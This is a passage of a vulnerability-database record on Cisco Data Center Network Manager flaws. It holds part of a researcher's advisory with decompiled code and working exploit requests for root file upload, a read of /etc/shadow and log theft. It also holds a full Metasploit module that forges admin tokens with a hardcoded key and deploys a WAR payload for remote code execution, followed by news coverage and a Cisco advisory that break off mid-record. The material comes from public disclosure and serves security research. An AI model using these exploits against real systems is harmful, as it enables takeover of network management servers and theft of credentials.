hd.getTransformer(); \nserializer.setOutputProperty(\"encoding\", \"UTF-8\"); \nserializer.setOutputProperty(\"doctype-system\", \"response.dtd\"); \nserializer.setOutputProperty(\"indent\", \"yes\"); \nserializer.setOutputProperty(\"method\", \"xml\"); \nhd.setResult(streamResult); \nhd.startDocument(); \nAttributesImpl atts = new AttributesImpl(); \nhd.startElement(\"\", \"\", \"response\", atts); \nwhile (iterator.hasNext()) { \natts.clear(); \nitem = (FileItem)iterator.next(); \nif (item.isFormField()) { \nif (item.getFieldName().equalsIgnoreCase(\"fname\")) { \nfname = item.getString(); \n} \nif (item.getFieldName().equalsIgnoreCase(\"uploadDir\") && (uploadDir = item.getString()).equals(DEFAULT_TRUST_STORE_UPLOADDIR)) { \nuploadDir = ClientCache.getJBossHome() + File.separator + \"server\" + File.separator + \"fm\" + File.separator + \"conf\"; \n} \natts.addAttribute(\"\", \"\", \"id\", \"CDATA\", item.getFieldName()); \nhd.startElement(\"\", \"\", \"field\", atts); \nhd.characters(item.getString().toCharArray(), 0, item.getString().length()); \nhd.endElement(\"\", \"\", \"field\"); \natts.clear(); \ncontinue; \n} \nImageInputStream imageInputStream = ImageIO.createImageInputStream(item.getInputStream()); \nIterator<ImageReader> imageReaders = ImageIO.getImageReaders(imageInputStream); \nImageReader imageReader = null; \nif (imageReaders.hasNext()) { \nimageReader = imageReaders.next(); \n} \ntry { \nString imageFormat = imageReader.getFormatName(); \nString newFileName = fname + \".\" + imageFormat; \nif (allowedFormats.contains(imageFormat.toLowerCase())) { \nFileFilter fileFilter = new FileFilter(); \nfileFilter.setImageTypes(allowedFormats); \nFile[] fileList = new File(uploadDir).listFiles(fileFilter); \nfor (int i = 0; i < fileList.length; ++i) { \nnew File(fileList[i].getAbsolutePath()).delete(); \n} \ndisk = new File(uploadDir + File.separator + fname); \nitem.write(disk); \nCalendar calendar = Calendar.getInstance(); \nSimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"MM.dd.yy hh:mm:ss aaa\"); \nstatusMessage = \"File successfully written to server at \" + simpleDateFormat.format(calendar.getTime()); \n} \nimageReader.dispose(); \nimageInputStream.close(); \natts.addAttribute(\"\", \"\", \"id\", \"CDATA\", newFileName); \n} \ncatch (Exception ex) { \nthis.processUploadedFile(item, uploadDir, fname); \nCalendar calendar = Calendar.getInstance(); \nSimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"MM.dd.yy hh:mm:ss aaa\"); \nstatusMessage = \"File successfully written to server at \" + simpleDateFormat.format(calendar.getTime()); \natts.addAttribute(\"\", \"\", \"id\", \"CDATA\", fname); \n} \nhd.startElement(\"\", \"\", \"file\", atts); \nhd.characters(statusMessage.toCharArray(), 0, statusMessage.length()); \nhd.endElement(\"\", \"\", \"file\"); \n} \nhd.endElement(\"\", \"\", \"response\"); \nhd.endDocument(); \nout.close(); \n} \ncatch (Exception e) { \nout.println(e.getMessage()); \n} \n} \n \nhandleUpload is more complex, but here's a summary; the function takes an HTTP form with a parameter \"uploadDir\", a parameter \"fname\" and then takes the last form object and writes it into \"uploadDir/fname\". \nHowever, there is a catch... the file has to be a valid image with one of the extensions listed here: \nallowedFormats.add(\"jpeg\"); \nallowedFormats.add(\"png\"); \nallowedFormats.add(\"gif\"); \nallowedFormats.add(\"jpg\"); \nallowedFormats.add(\"cert\"); \n \nHowever, if you look closely, it is possible to upload any arbitrary content. This is because nothing bad happens until we reach the second (inner) try-catch block. Once inside, the first thing that happens is this: \ntry { \nString imageFormat = imageReader.getFormatName(); \n \n... which will cause imageReader to throw and exception if the binary content we sent is not a file, sending us into the catch block: \ncatch (Exception ex) { \nthis.processUploadedFile(item, uploadDir, fname); \nCalendar calendar = Calendar.getInstance(); \nSimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"MM.dd.yy hh:mm:ss aaa\"); \nstatusMessage = \"File successfully written to server at \" + simpleDateFormat.format(calendar.getTime()); \natts.addAttribute(\"\", \"\", \"id\", \"CDATA\", fname); \n \n... meaning that the file contents, upload dir and its name are sent into processUploadedFile. \n \nLet's look into that now: \nprivate void processUploadedFile(FileItem item, String uploadDir, String fname) throws Exception { \ntry { \nint offset; \nint contentLength = (int)item.getSize(); \nInputStream raw = item.getInputStream(); \nBufferedInputStream in = new BufferedInputStream(raw); \nbyte[] data = new byte[contentLength]; \nint bytesRead = 0; \nfor (offset = 0; offset < contentLength && (bytesRead = in.read(data, offset, data.length - offset)) != -1; offset += bytesRead) { \n} \nin.close(); \nif (offset != contentLength) { \nthrow new IOException(\"Only read \" + offset + \" bytes; Expected \" + contentLength + \" bytes\"); \n} \nFileOutputStream out = new FileOutputStream(uploadDir + File.separator + fname); \nout.write(data); \nout.flush(); \nout.close(); \n} \ncatch (Exception ex) { \nthrow new Exception(\"FileUploadSevlet processUploadFile failed: \" + ex.getMessage()); \n} \n} \n \nAmazingly, this function totally ignores the content, and simple writes the file contents to the filename and folder we have indicated. \nIn summary, if we send any binary content that is not a file, we can write it to any new file in any directory as root. \n \nIf we send the following request: \nPOST /fm/fileUpload HTTP/1.1 \nHost: 10.75.1.40 \nCookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C; \nContent-Length: 429 \nContent-Type: multipart/form-data; boundary=---------------------------9313517619947 \n \n-----------------------------9313517619947 \nContent-Disposition: form-data; name=\"fname\" \n \nowned \n-----------------------------9313517619947 \nContent-Disposition: form-data; name=\"uploadDir\" \n \n/tmp/ \n-----------------------------9313517619947 \nContent-Disposition: form-data; name=\"filePath\"; filename=\"whatever\" \nContent-Type: application/octet-stream \n \n<any text or binary content here> \n \n-----------------------------9313517619947-- \n \nThe server will respond with: \nHTTP/1.1 200 OK \nX-FRAME-OPTIONS: SAMEORIGIN \nContent-Type: text/xml;charset=utf-8 \nDate: Mon, 03 Sep 2018 00:57:11 GMT \nConnection: close \nServer: server \n \n<?xml version=\"1.0\" encoding=\"UTF-8\"?> \n<!DOCTYPE response SYSTEM \"response.dtd\"> \n<response> \n<field id=\"fname\">owned</field> \n<field id=\"uploadDir\">/tmp/</field> \n<file id=\"whatever\">File successfully written to server at 09.02.18 05:57:11 PM</file> \n</response> \n \nAnd our file has been written as root on the server: \n[root@dcnm_vm ~]# ls -l /tmp/ \n(...) \n-rw-r--r-- 1 root root 16 Sep 2 17:57 owned \n(...) \n \nFinally if we write a WAR file to the JBoss deployment directory, and the server will deploy the WAR file as root, allowing the attacker to achieve remote code execution. \n \nA Metasploit module that exploits this vulnerability has been released with this advisory. \n \n \n#3 \nVulnerability: Arbitrary File Download \nCVE-2019-1621 \nAttack Vector: Remote \nConstraints: Authentication to the web interface as an unprivileged user required EXCEPT for version 11.1(1), where it can be exploited by an unauthenticated user \nAffected products / versions: \n- Cisco Data Center Network Manager 11.1(1) and below \n \nDCNM exposes a servlet to download files on /fm/downloadServlet. An authenticated user can abuse this servlet to download arbitrary files as root [5]. \n \nThe code below shows the servlet request processing code: \ncom.cisco.dcbu.web.client.util.DownloadServlet \n \npublic void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { \nCredentials cred = (Credentials)((Object)request.getSession().getAttribute(\"credentials\")); \nif (cred == null || !cred.isAuthenticated()) { \nthrow new ServletException(\"User not logged in or Session timed out.\"); \n} \nString showFile = (String)request.getAttribute(\"showFile\"); \nif (showFile == null) { \nshowFile = request.getParameter(\"showFile\"); \n} \nFile f = new File(showFile); \nif (showFile.endsWith(\".cert\")) { \nresponse.setContentType(\"application/octet-stream\"); \nresponse.setHeader(\"Pragma\", \"cache\"); \nresponse.setHeader(\"Cache-Control\", \"cache\"); \nresponse.setHeader(\"Content-Disposition\", \"attachment; filename=fmserver.cert;\"); \n} else if (showFile.endsWith(\".msi\")) { \nresponse.setContentType(\"application/x-msi\"); \nresponse.setHeader(\"Pragma\", \"cache\"); \nresponse.setHeader(\"Cache-Control\", \"cache\"); \nresponse.setHeader(\"Content-Disposition\", \"attachment; filename=\" + f.getName() + \";\"); \n} else if (showFile.endsWith(\".xls\")) { \nresponse.setContentType(\"application/vnd.ms-excel\"); \nresponse.setHeader(\"Pragma\", \"cache\"); \nresponse.setHeader(\"Cache-Control\", \"cache\"); \nresponse.setHeader(\"Content-Disposition\", \"attachment; filename=\" + f.getName() + \";\"); \n} \nServletOutputStream os = response.getOutputStream(); \nFileInputStream is = new FileInputStream(f); \nbyte[] buffer = new byte[4096]; \nint read = 0; \ntry { \nwhile ((read = is.read(buffer)) > 0) { \nos.write(buffer, 0, read); \n} \nos.flush(); \n} \ncatch (Exception e) { \nLogService.log(LogService._WARNING, e.getMessage()); \n} \nfinally { \nis.close(); \n} \n} \n} \n \nAs you can see, it's quite simple. It takes a \"showFile\" request parameter, reads that file and returns to the user. Here's an example of the servlet in action: \n \nRequest: \nGET /fm/downloadServlet?showFile=/etc/shadow HTTP/1.1 \nHost: 10.75.1.40 \nCookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C; \n \nResponse: \nHTTP/1.1 200 OK \n \nroot:$1$(REDACTED).:17763:0:99999:7::: \nbin:*:15980:0:99999:7::: \ndaemon:*:15980:0:99999:7::: \nadm:*:15980:0:99999:7::: \nlp:*:15980:0:99999:7::: \n(...) \n \nAn interesting file to download is /usr/local/cisco/dcm/fm/conf/server.properties, which contains the database credentials as well as the sftp root password, both encrypted with a key that is hardcoded in the source code. \n \nA Metasploit module that exploits this vulnerability has been released with this advisory. \n \n \n#4 \nVulnerability: Information Disclosure (log files download) \nCVE-2019-1622 \nAttack Vector: Remote \nConstraints: None \nAffected products / versions: \n- Cisco Data Center Network Manager 11.1(1) and below \n \nDCNM exposes a LogZipperServlet in /fm/log/fmlogs.zip. This servlet can be accessed by an unauthenticated attacker, and it will return all the log files in /usr/local/cisco/dcm/fm/logs/* in ZIP format, which provide information about local directories, software versions, authentication errors, detailed stack traces, etc [6]. \n \nTo access it, simply request: \nGET /fm/log/fmlogs.zip \n \nCode is not shown here for brevity, but the implementation class is com.cisco.dcbu.web.client.admin.LogZipperServlet. \n \n \n>> Fix: \nFor #1, upgrade to DCNM 11.0(1) and above [3]. \nFor #2 and #3, upgrade to DCNM 11.2(1) and above [4] [5]. \nFor #4, it is not clear from Cisco's advisory on which version it was fixed [6]. \n \n \n>> References: \n[1] https://www.accenture.com/us-en/service-idefense-security-intelligence \n[2] https://www.cisco.com/c/en/us/products/collateral/cloud-systems-management/prime-data-center-network-manager/datasheet-c78-740978.html \n[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass \n[4] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex \n[5] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld \n[6] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-infodiscl \n \n \n>> Disclaimer: \nPlease note that Agile Information Security relies on the information provided by the vendor when listing fixed versions or products. Agile Information Security does not verify this information, except when specifically mentioned in this advisory or when requested or contracted by the vendor to do so. \nUnconfirmed vendor fixes might be ineffective or incomplete, and it is the vendor's responsibility to ensure the vulnerablities found by Agile Information Security are resolved properly. \nAgile Information Security Limited does not accept any responsiblity, financial or otherwise, from any material losses, loss of life or reputational loss as a result of misuse of the information or code contained or mentioned in this advisory. \nIt is the vendor's responsibility to ensure their products' security before, during and after release to market. \n \nAll information, code and binary data in this advisory is released to the public under the GNU General Public License, version 3 (GPLv3). \nFor information, code or binary data obtained from other sources that has a license which is incompatible with GPLv3, the original license prevails. \nFor more information check https://www.gnu.org/licenses/gpl-3.0.en.html \n \n================ \nAgile Information Security Limited \nhttp://www.agileinfosec.co.uk/ \n>> Enabling secure digital business. \n`\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://packetstormsecurity.com/files/download/153546/cisco-dcnm-rce.txt"}, {"lastseen": "2019-09-02T21:43:29", "description": "", "published": "2019-09-02T00:00:00", "type": "packetstorm", "title": "Cisco Data Center Network Manager Unauthenticated Remote Code Execution", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-1619", "CVE-2019-1620", "CVE-2019-1622"], "modified": "2019-09-02T00:00:00", "id": "PACKETSTORM:154304", "href": "https://packetstormsecurity.com/files/154304/Cisco-Data-Center-Network-Manager-Unauthenticated-Remote-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \n \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::EXE \ninclude Msf::Exploit::FileDropper \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Cisco Data Center Network Manager Unauthenticated Remote Code Execution', \n'Description' => %q{ \nDCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload. \nAn authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps \ndirectory and achieve remote code execution as root. \nThis module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on \nversions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct \ndirectory for the WAR file upload. \nThis module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should \nwork on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit \n(see References to understand why). \n}, \n'Author' => \n[ \n'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module \n], \n'License' => MSF_LICENSE, \n'References' => \n[ \n[ 'CVE', '2019-1619' ], # auth bypass \n[ 'CVE', '2019-1620' ], # file upload \n[ 'CVE', '2019-1622' ], # log download \n[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ], \n[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ], \n[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ], \n[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb' ], \n[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ] \n], \n'Platform' => 'java', \n'Arch' => ARCH_JAVA, \n'Targets' => \n[ \n[ 'Automatic', {} ], \n[ \n'Cisco DCNM 11.1(1)', {} \n], \n[ \n'Cisco DCNM 11.0(1)', {} \n], \n[ \n'Cisco DCNM 10.4(2)', {} \n] \n], \n'Privileged' => true, \n'DefaultOptions' => { 'WfsDelay' => 10 }, \n'DefaultTarget' => 0, \n'DisclosureDate' => 'Jun 26 2019' \n)) \n \nregister_options( \n[ \nOpt::RPORT(443), \nOptBool.new('SSL', [true, 'Connect with TLS', true]), \nOptString.new('TARGETURI', [true, \"Default server path\", '/']), \nOptString.new('USERNAME', [true, \"Username for auth (required only for 11.0(1) and above\", 'admin']), \nOptString.new('PASSWORD', [true, \"Password for auth (required only for 11.0(1) and above\", 'admin']), \n]) \nend \n \ndef check \n# at the moment this is the best way to detect \n# check if pmreport and fileUpload servlets return a 500 error with no params \nres = send_request_cgi( \n'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'), \n'vars_get' => \n{ \n'token' => rand_text_alpha(5..20) \n}, \n'method' => 'GET' \n) \nif res && res.code == 500 \nres = send_request_cgi( \n'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'), \n'method' => 'GET', \n) \nif res && res.code == 500 \nreturn CheckCode::Detected \nend \nend \n \nCheckCode::Unknown \nend \n \ndef target_select \nif target != targets[0] \nreturn target \nelse \nres = send_request_cgi( \n'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about','version'), \n'method' => 'GET' \n) \nif res && res.code == 200 \nif res.body.include?('version\":\"11.1(1)') \nprint_good(\"#{peer} - Detected DCNM 11.1(1)\") \nprint_status(\"#{peer} - No authentication required, ready to exploit!\") \nreturn targets[1] \nelsif res.body.include?('version\":\"11.0(1)') \nprint_good(\"#{peer} - Detected DCNM 11.0(1)\") \nprint_status(\"#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit\") \nreturn targets[2] \nelsif res.body.include?('version\":\"10.4(2)') \nprint_good(\"#{peer} - Detected DCNM 10.4(2)\") \nprint_status(\"#{peer} - No authentication required, ready to exploit!\") \nreturn targets[3] \nelse \nprint_error(\"#{peer} - Failed to detect target version.\") \nprint_error(\"Please contact module author or add the target yourself and submit a PR to the Metasploit project!\") \nprint_error(res.body) \nprint_status(\"#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass\") \nreturn targets[3] \nend \nend \nfail_with(Failure::NoTarget, \"#{peer} - Failed to determine target\") \nend \nend \n \ndef auth_v11 \nres = send_request_cgi( \n'uri' => normalize_uri(target_uri.path, 'fm/'), \n'method' => 'GET', \n'vars_get' => \n{ \n'userName' => datastore['USERNAME'], \n'password' => datastore['PASSWORD'] \n}, \n) \n \nif res && res.code == 200 \n# get the JSESSIONID cookie \nif res.get_cookies \nres.get_cookies.split(';').each do |cok| \nif cok.include?(\"JSESSIONID\") \nreturn cok \nend \nend \nend \nend \nend \n \ndef auth_v10 \n# step 1: get a JSESSIONID cookie and the server Date header \nres = send_request_cgi( \n'uri' => normalize_uri(target_uri.path, 'fm/'), \n'method' => 'GET' \n) \n \n# step 2: convert the Date header and create the auth hash \nif res && res.headers['Date'] \njsession = res.get_cookies.split(';')[0] \ndate = Time.httpdate(res.headers['Date']) \nserver_date = date.strftime(\"%s\").to_i * 1000 \nprint_good(\"#{peer} - Got sysTime value #{server_date.to_s}\") \n \n# auth hash format: \n# username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF \nsession_id = rand(1000..50000).to_s \nmd5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s + \n\"POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF\" \nmd5_str = Base64.strict_encode64(md5) \n \n# step 3: authenticate our cookie as admin \n# token format: sessionId.sysTime.md5_str.username \nres = send_request_cgi( \n'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'), \n'cookie' => jsession, \n'vars_get' => \n{ \n'token' => \"#{session_id}.#{server_date.to_s}.#{md5_str}.admin\" \n}, \n'method' => 'GET' \n) \n \nif res && res.code == 500 \nreturn jsession \nend \nend \nend \n \n# use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log \ndef get_war_path \nres = send_request_cgi( \n'uri' => normalize_uri(target_uri.path, 'fm', 'log', 'fmlogs.zip'), \n'method' => 'GET' \n) \n \nif res && res.code == 200 \ntmp = Tempfile.new \n# we have to drop this into a file first \n# else we will get a Zip::GPFBit3Error if we use an InputStream \nFile.binwrite(tmp, res.body) \nZip::File.open(tmp) do |zis| \nzis.each do |entry| \nif entry.name =~ /jboss[0-9]*\\.log/ \nfdata = zis.read(entry) \nif fdata[/Started FileSystemDeploymentService for directory ([\\w\\/\\\\\\-\\.:]*)/] \ntmp.close \ntmp.unlink \nreturn $1.strip \nend \nend \nend \nend \nend \nend \n \n \ndef exploit \ntarget = target_select \n \nif target == targets[2] \njsession = auth_v11 \nelsif target == targets[3] \njsession = auth_v10 \nend \n \n# targets[1] DCNM 11.1(1) doesn't need auth! \nif jsession.nil? && target != targets[1] \nfail_with(Failure::NoAccess, \"#{peer} - Failed to authenticate JSESSIONID cookie\") \nelsif target != targets[1] \nprint_good(\"#{peer} - Successfully authenticated our JSESSIONID cookie\") \nend \n \nwar_path = get_war_path \nif war_path.nil? or war_path.empty? \nfail_with(Failure::Unknown, \"#{peer} - Failed to get WAR path from logs\") \nelse \nprint_good(\"#{peer} - Obtain WAR path from logs: #{war_path}\") \nend \n \n# Generate our payload... and upload it \napp_base = rand_text_alphanumeric(6..16) \nwar_payload = payload.encoded_war({ :app_name => app_base }).to_s \n \nfname = app_base + '.war' \npost_data = Rex::MIME::Message.new \npost_data.add_part(fname, nil, nil, content_disposition = \"form-data; name=\\\"fname\\\"\") \npost_data.add_part(war_path, nil, nil, content_disposition = \"form-data; name=\\\"uploadDir\\\"\") \npost_data.add_part(war_payload, \n\"application/octet-stream\", 'binary', \n\"form-data; name=\\\"#{rand_text_alpha(5..20)}\\\"; filename=\\\"#{rand_text_alpha(6..10)}\\\"\") \ndata = post_data.to_s \n \nprint_status(\"#{peer} - Uploading payload...\") \nres = send_request_cgi( \n'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'), \n'method' => 'POST', \n'data' => data, \n'cookie' => jsession, \n'ctype' => \"multipart/form-data; boundary=#{post_data.bound}\" \n) \n \nif res && res.code == 200 && res.body[/#{fname}/] \nprint_good(\"#{peer} - WAR uploaded, waiting a few seconds for deployment...\") \n \nsleep 10 \n \nprint_status(\"#{peer} - Executing payload...\") \nsend_request_cgi( \n'uri' => normalize_uri(target_uri.path, app_base), \n'method' => 'GET' \n) \nelse \nfail_with(Failure::Unknown, \"#{peer} - Failed to upload WAR file\") \nend \nend \nend \n`\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://packetstormsecurity.com/files/download/154304/cisco_dcnm_upload_2019.rb.txt"}], "threatpost": [{"lastseen": "2020-06-02T22:29:49", "bulletinFamily": "info", "cvelist": ["CVE-2019-1619", "CVE-2019-1620", "CVE-2019-1621", "CVE-2019-1622", "CVE-2020-9859"], "description": "Cisco Systems has released emergency patches for two critical vulnerabilities in its Data Center Network Manager, which could allow attackers to take control of impacted systems.\n\nThe Data Center Network Manager (DCNM) is Cisco\u2019s network management platform for switches running on its network operating system (NX-OS), including Cisco Nexus Series switches. Overall, the networking giant patched four flaws that existed in the software on this platform: two critical, one high-severity and one medium-severity.\n\nThe platform\u2019s web-based management interface has two critical vulnerabilities (CVE-2019-1620 and CVE-2019-1619) which both rank 9.8 out of 10 on the CVSS scale. Cisco said that it has not spotted any active exploits of the vulnerabilities in the wild.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nOne of these ([CVE-2019-1620](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex>)) is an arbitrary file upload vulnerability that could enable remote code execution on impacted devices. The vulnerability stems from incorrect permission settings in the DCNM software. This error means that an unauthenticated, remote attacker would be able to send specially crafted data to a specific web servlet that is available on affected devices, thus creating arbitrary files on the underlying DCNM filesystem. A web servlet is a class that responds to a particular type of network request (generally an HTTP request).\n\n\u201cAn attacker could exploit this vulnerability by uploading specially crafted data to the affected device,\u201d Cisco said in its advisory. \u201cA successful exploit could allow the attacker to write arbitrary files on the filesystem and execute code with root privileges on the affected device.\u201d\n\nImpacted is DCNM software releases prior to Release 11.2(1); Cisco said that it has removed the affected web servlet from the Release 11.2(1).\n\nThe other critical vulnerability ([CVE-2019-1619](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass>)) is an authentication bypass flaw in the DCNM management interface, that could allow an unauthenticated, remote attacker to \u201cbypass authentication and execute arbitrary actions with administrative privileges on an affected device,\u201d Cisco said.\n\nThis flaw exists because of improper session management on DCNM software versions prior to Release 11.1(1).\n\nThis means an attacker could obtain a valid session cookie without knowing the administrative user password, by sending a specially crafted HTTP request to a specific web servlet that is available on impacted devices. Once the attacker does that, he could gain administrative access and take over the device.\n\nCisco said that it removed the affected web servlet completely in DCNM Software Release 11.1(1) and urged users to update to that version.\n\nSecurity researcher Pedro Ribeiro was credited with reporting both critical vulnerabilities to iDefense\u2019s Vulnerability Contributor Program, a bug bounty program.\n\nAlso patched was a high-severity flaw ([CVE-2019-1621](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld>)) in DCNM that exists from incorrect permissions settings and could allow an unauthenticated, remote attacker to gain access to sensitive files on an affected device; and a medium-severity vulnerability ([CVE-2019-1622](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-infodiscl>)) that is due to improper access controls for certain URLs on DCNM software and could allow a remote attacker to retrieve sensitive data from victims.\n\nCisco has dealt with a slew of vulnerabilities so far this month: Including a [critical vulnerability](<https://threatpost.com/cisco-dna-center-critical-flaw/145849/>) in its Digital Network Architecture (DNA) Center, which could allow an unauthenticated attacker to access critical internal services; and a [high-severity vulnerability](<https://threatpost.com/high-severity-cisco-flaw-in-ios-xe-enables-device-takeover/145645/>) in its software for routers and switches, which could enable a remote attacker to reconfigure or execute commands on impacted devices.\n", "modified": "2019-06-26T19:56:30", "published": "2019-06-26T19:56:30", "id": "THREATPOST:5A33AD44ED58341ED7A6004BB0DBE2E4", "href": "https://threatpost.com/cisco-warns-of-critical-flaws-in-data-center-network-manager/146050/", "type": "threatpost", "title": "Cisco Warns of Critical Flaws in Data Center Network Manager", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-06-27T21:53:50", "bulletinFamily": "info", "cvelist": ["CVE-2019-12648", "CVE-2019-12649", "CVE-2019-12650", "CVE-2019-12651", "CVE-2019-12653", "CVE-2019-1619", "CVE-2019-1620"], "description": "Cisco Systems released patches for 29 bugs [Wednesday that addressed flaws](<https://tools.cisco.com/security/center/publicationListing.x?product=Cisco&sort=-day_sir&limit=50#~Vulnerabilities>) in a wide range of its products including routers and switches running the IOS XE networking software. Thirteen of the vulnerabilities revealed are rated high severity.\n\nThe bulk of the high-severity vulnerabilities are tied to conditions that could lead to denial-of-service attacks, while others are command injection bugs ([CVE-2019-12650 and CVE-2019-12651](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190925-webui-cmd-injection>)) and one digital signature verification bypass flaw ([CVE-2019-12649](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190925-iosxe-digsig-bypass>)).\n\nOne of the bugs ([CVE-2019-12648](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190925-ios-gos-auth>)) impacts Cisco 800 and 1000 series routers running Cisco\u2019s IOS software with \u201cGuest OS\u201d installed. \u201cAn exploit could allow the attacker to gain unauthorized access to the Guest OS as a _root_ user,\u201d the advisory states.[](<https://threatpost.com/newsletter-sign/>)\n\nInterestingly, the bug (CVE-2019-12648) has a Common Vulnerability Scoring System (version 3) score of 9.9. The score should indicate a critical-severity rating, however it\u2019s unclear why a 9.9 bug would only get a high-severity rating.\n\nAnother ISO XE bug ([CVE-2019-12653](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190925-rawtcp-dos>)), affecting Cisco\u2019s ASR 900 series routers, \u201ccould allow an unauthenticated, remote attacker to trigger a reload of an affected device, resulting in a denial of service condition,\u201d Cisco wrote.\n\nPart of Wednesday\u2019s security alerts also included [a warning to users](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190925-l2-traceroute>) of its L2 traceroute feature in IOS. Cisco is advising those users to disable an L2 traceroute feature in IOS for which there is public exploit code. The L2 traceroute feature is enabled by default in Cisco IOS and IOS XE Software for Cisco Catalyst switches, Cisco wrote.\n\nPatches released on Wednesday dovetail two bugs, rated critical, addressed last week impacting the networking giant\u2019s Cisco Data Center Network Manager. One those flaws ([CVE-2019-1619](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass>)) is an authentication bypass bug with a CVSS score of 9.8.\n\n\u201cA vulnerability in the web-based management interface of Cisco Data Center Network Manager (DCNM) could allow an unauthenticated, remote attacker to bypass authentication and execute arbitrary actions with administrative privileges on an affected device,\u201d Cisco wrote.\n\nThe other critical bug ([CVE-2019-1620](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex>)) impacting the DCNM is an arbitrary file upload and remote code execution vulnerability with a CVSS rating of 9.8. Cisco said a successful exploitation of the bug \u201ccould allow an unauthenticated, remote attacker to upload arbitrary files on an affected device.\u201d\n\n**What are the top cyber security issues associated with privileged account access and credential governance? Experts from Thycotic will discuss during our upcoming free [Threatpost webinar](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>), \u201cHackers and Security Pros: Where They Agree & Disagree When It Comes to Your Privileged Access Security.\u201d [Click here to register](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>). **\n", "modified": "2019-09-26T16:26:03", "published": "2019-09-26T16:26:03", "id": "THREATPOST:05C83E488D9CF5E71AD1F4F7018EA8B9", "href": "https://threatpost.com/cisco-high-severity-bugs-2/148706/", "type": "threatpost", "title": "Cisco Patches 13 High-Severity Router and Switch Bugs", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cisco": [{"lastseen": "2020-12-24T11:40:40", "bulletinFamily": "software", "cvelist": ["CVE-2019-1621"], "description": "A vulnerability in the web-based management interface of Cisco Data Center Network Manager (DCNM) could allow an unauthenticated, remote attacker to gain access to sensitive files on an affected device.\n\nThe vulnerability is due to incorrect permissions settings on affected DCNM software. An attacker could exploit this vulnerability by connecting to the web-based management interface of an affected device and requesting specific URLs. A successful exploit could allow the attacker to download arbitrary files from the underlying filesystem of the affected device.\n\nCisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.\n\nThis advisory is available at the following link:\nhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld [\"https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld\"]", "modified": 